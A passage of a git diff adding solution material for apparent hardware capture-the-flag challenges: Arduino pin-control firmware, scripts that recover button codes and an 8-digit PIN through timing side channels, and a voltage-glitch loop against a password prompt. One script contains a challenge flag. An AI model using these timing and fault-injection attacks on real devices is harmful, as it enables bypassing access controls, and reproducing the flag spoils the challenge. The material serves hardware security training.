+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/docs/12_logic.png b/docs/12_logic.png
new file mode 100644
index 0000000..fe8662a
--- /dev/null
+++ b/docs/12_logic.png
Binary files differ
diff --git a/docs/12_setup.png b/docs/12_setup.png
new file mode 100644
index 0000000..5293caf
--- /dev/null
+++ b/docs/12_setup.png
Binary files differ
diff --git a/docs/12_solution.py b/docs/12_solution.py
new file mode 100644
index 0000000..c5188aa
--- /dev/null
+++ b/docs/12_solution.py
@@ -0,0 +1,274 @@
+#!/usr/bin/env python3
+"""
+=====================================================================
+UART Timing Analysis PIN Discovery Script (configurable start)
+=====================================================================
+Performs timing-based side-channel analysis to discover an 8-digit PIN
+via UART, using the Arduino I/O controller for synchronised monitoring.
+
+This variant allows pre-setting a starting code (prefix) and the
+starting position index so that discovery may resume part-way through.
+Version: 1.3
+=====================================================================
+"""
+
+import time
+import serial
+from arduinIO import ArduinoController
+
+# ================================================================
+# Configuration
+# ================================================================
+
+###### UART Configuration ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1199
+UART_NEWLINE = "\n"
+
+###### Arduino I/O Configuration ######
+ARDIO_PORT = "/dev/ttyACM0"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+
+###### Analysis Parameters ######
+PIN_LENGTH = 8
+KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+PAD_CHAR = 'A'
+ATTEMPTS_PER_CANDIDATE = 1
+
+# Optionally set a starting prefix and a starting position.
+# START_CODE is the known prefix (string). It may be empty.
+# START_POS is the zero-based index at which to begin discovery.
+# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
+START_CODE = "" # e.g. "253"
+START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
+
+###### Delay Configuration (seconds) ######
+INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
+SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
+POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
+MAX_WAIT_MS = 800 # Maximum wait for input response
+MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
+
+# ================================================================
+# Helper Functions
+# ================================================================
+
+def log(msg: str, level: str = "INFO"):
+ """Structured log output with level labels."""
+ prefix = {
+ "INFO": "\033[94m[INFO]\033[0m",
+ "TEST": "\033[93m[TEST]\033[0m",
+ "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
+ "RESULT": "\033[92m[RESULT]\033[0m",
+ "ERROR": "\033[91m[ERROR]\033[0m",
+ "SUCCESS": "\033[96m[SUCCESS]\033[0m"
+ }.get(level, "[LOG]")
+ print(f"{prefix} {msg}")
+
+
+def send_uart_message(ser, message: str):
+ """Send full message to UART target."""
+ if not message.endswith(UART_NEWLINE):
+ message += UART_NEWLINE
+ ser.write(message.encode("utf-8"))
+ ser.flush()
+
+
+def validate_start_settings():
+ """Validate START_CODE and START_POS consistency and bounds."""
+ if not isinstance(START_CODE, str):
+ raise ValueError("START_CODE must be a string.")
+ if not isinstance(START_POS, int):
+ raise ValueError("START_POS must be an integer.")
+ if len(START_CODE) != START_POS:
+ raise ValueError("Length of START_CODE must equal START_POS.")
+ if START_POS < 0 or START_POS > PIN_LENGTH:
+ raise ValueError("START_POS out of valid range.")
+ if len(START_CODE) > PIN_LENGTH:
+ raise ValueError("START_CODE longer than PIN_LENGTH.")
+
+
+# ================================================================
+# PIN Discovery Logic
+# ================================================================
+
+def find_code(ser, arduino):
+ """
+ Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
+
+ Important: no UART reading occurs during the timed interval. UART is only
+ drained before sending (to remove stale lines) and immediately after the
+ timing measurement completes. This avoids introducing extra delay into
+ the critical timing path.
+ """
+
+ validate_start_settings()
+ log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
+
+ discovered = START_CODE
+ start_pos = START_POS
+
+ remaining_positions = PIN_LENGTH - start_pos
+ if remaining_positions <= 0:
+ log(f"No positions to discover. Current code: {discovered}", "INFO")
+ return discovered
+
+ total_candidates = len(KEYSPACE)
+ total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
+ eta_start = time.time()
+ attempts_done = 0
+
+ for pos in range(start_pos, PIN_LENGTH):
+ human_pos = pos + 1
+ log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
+ timings = {}
+
+ # Upper bound grows with each identified position (relative index)
+ relative_index = pos - start_pos
